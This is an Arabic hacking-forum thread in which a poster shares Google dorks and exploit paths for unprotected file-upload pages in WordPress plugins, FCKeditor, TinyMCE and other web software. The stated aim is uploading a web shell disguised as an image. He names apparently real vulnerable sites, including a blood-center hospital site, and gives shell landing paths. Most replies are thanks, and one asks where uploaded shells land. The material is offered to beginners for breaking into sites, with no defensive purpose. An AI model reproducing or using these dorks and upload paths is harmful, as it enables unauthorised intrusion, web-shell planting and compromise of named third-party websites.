ثغرات upload 2013 +استغلال

[Iraqe Hacker]

http://files2.fatakat.com/2012/8/13458572631487.gif
احبائي واصدقائي الاعضاء الكرام
ثغرات ابلود ترفع شيل بصيغة صورة
وتكدر من خلال اضافة فايرفوكس لتحويل الصيغ
أكيد تعرفوها Live HTTP headers
ومكان نزول الشيل عليكم لين مدورت الصراحة
http://www.samysoft.net/fmm/fimnew/fwasel/1/101232.gif
الدورك
inurl:wp-content/plugins/monsters-editor-10-for-wp-super-edit
الاستغلال
wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html

مثال موقع
http://kybloodcenter.org/hospital/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html (http://kybloodcenter.org/hospital/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html)
وهذا ايضا
http://celiaflores.net/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html (http://celiaflores.net/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html)
============================================
الدورك
inurl:/js/tiny_mce/plugins/tinybrowser/upload.php
الاستغلال
admin/js/tiny_mce/plugins/tinybrowser/upload.php
مسار الشيل
uploads/imagens/
============================================
الدورك
inurl:"wp-content/plugins/chenpress"
الاستغلال
wp-content/plugins/chenpress/FCKeditor/editor/filemanager/browser/mcpuk/browser.html

============================================
الدورك
intext:"Web Development by IES, Inc"
الاستغلال
/fckeditor/editor/filemanager/browser/default/browser.html

===========================================
الدورك
: inurl:"wp-content/plugins/wp-insert"
الاستغلال
/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/browser.html
واحيانا قبل الاستغلال هذا الملف blog
/blog/wp-content/plugins/wp-insert/fckeditor/editor/filemanager/browser/default/browser.html

============================================
الدورك
: inurl:plugins/flexiweb-form/
الاستغلال
/wp-content/plugins/flexiweb-form/ajax/upload_img.php

============================================
http://i32.servimg.com/u/f32/12/32/61/62/74539610.gif
http://www.samysoft.net/fmm/fimnew/nehaya/99087634.gif

[shhaby]

بارك الله فيك بالتوفيق

[Iraqe Hacker]

بارك الله فيك بالتوفيق
حياك الله صديقي

- - - تم التحديث - - -

هذول كمان
الدورك
"SelectSurvey.NETv4 site:uk"
الاستغلال
/survey/UploadImagePopup.aspx

============================================
الدورك
Fabriqué par: Safe & Web Company (((( Digital Age ))))
الاستغلال
admin/plugin/file_list_process.php?tablename=galerie&nId=0&size=&bFixedWidth=&bFixedHeight=&nType=0&nAUEindex=0&bTitle=1&bText=0
================================================== =====
الدورك
url:"pdw_file_browser"
الاستغلال
/pdw_file_browser/
مسار النزول
/pdw_file_browser/img/shell.php.jpg

http://ml0k.org/up20127/images/ml0k.org-20698ce659.gif

[razorax]

مشكوور أخي على الموضوع ، وبالمناسبة أظنك تقصد أداة tamper data ، ولكنها لا تنجح دائما فالموقع يظهر لك إما خطأ 404 أو يقول لك بأن الصورة لا يمكن عرضها لأنها تحتوي على أخطاء . على العمووم مشكوور وأنا لا أفضل ثغرات مركز التحميل .

[Iraqe Hacker]

مشكوور أخي على الموضوع ، وبالمناسبة أظنك تقصد أداة tamper data ، ولكنها لا تنجح دائما فالموقع يظهر لك إما خطأ 404 أو يقول لك بأن الصورة لا يمكن عرضها لأنها تحتوي على أخطاء . على العمووم مشكوور وأنا لا أفضل ثغرات مركز التحميل .

مشكور اخي على مرورك بس الهدف هو للمبتدئين للمحاولات
والتعلم والتقدم في هذا المجال والاداة صحيح مودائما تنجح
تحياتي

[Mr.JnOoN]

تسلم على روعه طرحك

[Iraqe Hacker]

تسلم على روعه طرحك
الروعه في ردك الجميل خيو:redface:

[falcon-m]

تسلم حبيبى على الشرح

[Iraqe Hacker]

تسلم حبيبى على الشرح
الله يسلمك يا غالي:cool:

[Jordan Ghost]

طرح جميل أخي عراقي هكر والله كفوو لكن ما احب هذي الثغرات مفيدة جدا للمبتدئين على كلا تقبل مروري

[Iraqe Hacker]

طرح جميل أخي عراقي هكر والله كفوو لكن ما احب هذي الثغرات مفيدة جدا للمبتدئين على كلا تقبل مروري
تشرفت بمرورك خيو:redface:

[hamzaafire]

مشكور اخي على الموضوع باين تعبان عليه

اكيد راح استفاد منة لما اتعلم اختراق المواقع<<<يحلم

[Iraqe Hacker]

مشكور اخي على الموضوع باين تعبان عليه

اكيد راح استفاد منة لما اتعلم اختراق المواقع<<<يحلم
هلا خيي ليش حلم قابل اني من ولدتني امي اعرف الاختراق
بلتوفيق

[الذئب الاسود العراقي]

عبالك اني هندي مو عراقي ععععععععععععععععععععععععع ععععععععععععععععععععععععع عععععععععععععععععع

- - - تم التحديث - - -

نذر عليه بس اخترق موقع اوزع جكليت لكل اعضاء المنتدى:tongue:

[Iraqe Hacker]

نذر عليه بس اخترق موقع اوزع جكليت لكل اعضاء المنتدى:tongue:

لا عود وزع كعك وجاي:confused:

[safi syrian]

مشكوور أخي الله يعطيك العافية

[Iraqe Hacker]

مشكوور أخي الله يعطيك العافية
الله ايعافيك صديقي

[الجليد المشتعل]

مشكؤؤؤؤؤؤر يعطيك العافية

[Iraqe Hacker]

مشكؤؤؤؤؤؤر يعطيك العافية
الله يعافيك صديقي الغالي

[uuser54822]

بارك الله فيك طرح جميل

[Iraqe Hacker]

بارك الله فيك طرح جميل
شكرا لمرورك صديقي بارك الله فيك:redface:

[ع ـآزف الاحزان]

intext:"Web Development by IES, Inc"
الاستغلال
/fckeditor/editor/filemanager/browser/default/browser.html


اين مسار الشل
؟؟؟؟

[Iraqe Hacker]

intext:"Web Development by IES, Inc"
الاستغلال
/fckeditor/editor/filemanager/browser/default/browser.html


اين مسار الشل
؟؟؟؟
يا اخي موذكرت بداية الموضوع مسار الشل معرفتا جاهد نفسك وبحث عن الملفات قابل بس على الحاضر ههههههه
هاك هذا الموقع يضهرلك ملفات الموقع بس خلي رابط الموقع وضغط الكلمة في الاسفل
http://madnet.name/tools/madss/

[Iraqe Hacker]

مشكوور على المجهود واصل يا غالي

شكرا لمرورك صديقي

[hamzads]

مشــــــكور أخـــــــــــي علــــــــــى المــــــــــوضوع

[Iraqe Hacker]

مشــــــكور أخـــــــــــي علــــــــــى المــــــــــوضوع

شكرا لمرورك اخي

[عبدالله97]

http://www.samysoft.net/forumim/shokr/4/fgsgsdg.gif

[Iraqe Hacker]

http://www.samysoft.net/forumim/shokr/4/fgsgsdg.gif
http://www.samysoft.net/fmm/fimnew/shokrmror/1/ouipuiopui.gif

[سارة الغامدي]

مشكؤر
يعطيك العافية

[Iraqe Hacker]

مشكؤر
يعطيك العافية

الله يعافيك اختي العزيزة

[hackerpk]

merciii ya akhii wasillll

[Iraqe Hacker]

merciii ya akhii wasillll
Nous vous remercions de votre mot de passe chérie chérie

[mem1hack]

شرح روعة مشكور

[Iraqe Hacker]

شرح روعة مشكور

شكرا لمرورك صديقي

[سرمد المهندس]

مشكوووووووووووووووووووووو ووووووووور

[Iraqe Hacker]

http://www.samysoft.net/fmm/fimnew/shokrmror/2/91894543.gif

[hamzads]

شكـــــــــــــراا علــى الـدروكـات :redface:

[Iraqe Hacker]

شكـــــــــــــراا علــى الـدروكـات :redface:
http://www.karom.net/up/uploads/13255034175.gif

[التعلوب]

شكراااااااااااااااااااااا اااااااااً

[Iraqe Hacker]

شكراااااااااااااااااااااا اااااااااً
http://www.karom.net/up/uploads/13253392791.gif

[WALEED HaCKeR]

بآآركـ الله فيك .. تم التقييم

[Iraqe Hacker]

بآآركـ الله فيك .. تم التقييم

http://www.karom.net/up/uploads/13255034175.gif